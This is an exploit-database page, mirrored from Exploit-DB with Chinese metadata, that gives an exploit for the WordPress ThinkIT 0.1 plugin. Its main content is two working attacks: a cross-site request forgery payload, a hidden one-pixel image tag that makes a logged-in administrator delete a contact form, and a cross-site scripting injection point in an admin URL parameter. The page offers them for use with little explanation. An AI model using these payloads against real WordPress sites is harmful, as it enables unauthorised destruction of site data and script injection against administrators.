WordPress Plugin ThinkIT 0.1 - Multiple Vulnerabilities

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1065148 漏洞类型
发布时间 2013-08-21 更新时间 2013-08-21
CVE编号 N/A CNNVD-ID N/A
漏洞平台 PHP CVSS评分 N/A
|漏洞来源
https://www.exploit-db.com/exploits/27751
|漏洞详情
漏洞细节尚未披露
|漏洞EXP
###################################################################################################################################
# Exploit Title: Wordpress ThinkIT plugin - CSRF / XSS
# Date: 2013 15 August
# Exploit Author: Yashar shahinzadeh
# Special thanks to Mormoroth
# Credit goes for: http://y-shahinzadeh.ir & ha.cker.ir
# Vendor Homepage: http://thinkoverit.com/
# Tested on: Linux & Windows, PHP 5.2.9
# Affected Version :  0.1
#
# Contacts: { http://Twitter.com/YShahinzadeh , http://y-shahinzadeh.ir , http://Twitter.com/Mormoroth , http://mormoroth.ir }
###################################################################################################################################

Summary:
========
1. CSRF - Delete a form
2. Cross site scripting


1. CSRF - Delete a form:
========================

Contact form ID can be easily understood from HTML page source, <input type="hidden" value="[ID]" name="toit-form-id"></input>, which [ID] is the form ID, following crafted exploit may be used so as to delete form completely:

<img src="http://[WP]/wp-admin/admin.php?toitcf_current_id=[ID]&action=delete&page=toitcf" width="1" height="1">

Obviously, ID must be replaced.


2. Cross site scripting:
========================
http://[WP]/wordpress/wp-admin/admin.php?toitcf_current_id=[XSS]&page=toitcf


/** Yasshar shahinzadeh **/